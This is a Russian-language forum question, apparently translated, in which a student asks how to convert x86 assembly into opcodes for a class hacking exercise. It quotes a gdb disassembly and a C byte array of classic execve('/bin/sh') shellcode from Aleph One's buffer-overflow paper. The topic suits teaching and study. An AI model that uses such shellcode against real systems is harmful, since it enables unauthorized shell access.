Вопросы Теги

Как получить код операции программы на c

Я знаю, как получить ассемблерный код моей программы, используя gdb но как мне получить код операции? Мне это нужно, чтобы взломать Linux-сервер (не волнуйтесь, это часть моего класса, так что реальный сервер не пострадает). На самом деле я читал этустатью и мне интересно, как я могу получить из ассемблера:

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm

(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 
:       pushl  %ebp
0x8000131 :     movl   %esp,%ebp
0x8000133 :     jmp    0x800015f 
0x8000135 :     popl   %esi
0x8000136 :     movl   %esi,0x8(%esi)
0x8000139 :     movb   $0x0,0x7(%esi)
0x800013d :    movl   $0x0,0xc(%esi)
0x8000144 :    movl   $0xb,%eax
0x8000149 :    movl   %esi,%ebx
0x800014b :    leal   0x8(%esi),%ecx
0x800014e :    leal   0xc(%esi),%edx
0x8000151 :    int    $0x80
0x8000153 :    movl   $0x1,%eax
0x8000158 :    movl   $0x0,%ebx
0x800015d :    int    $0x80
0x800015f :    call   0x8000135 
0x8000164 :    das
0x8000165 :    boundl 0x6e(%ecx),%ebp
0x8000168 :    das
0x8000169 :    jae    0x80001d3 <__new_exitfn+55>
0x800016b :    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.

следующее:

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Система linux x86 и язык, который я буду использовать C. Я бы очень нравится автоматизированный способ, но ручное решение тоже сработает.

Я имею в виду, как конвертировать %ebp, %esi, %esp и т. д. Есть ли карта, которую я могу использовать? или автоматизированная программа?

11
задан George Panic 21 March 2012 в 21:34
поделиться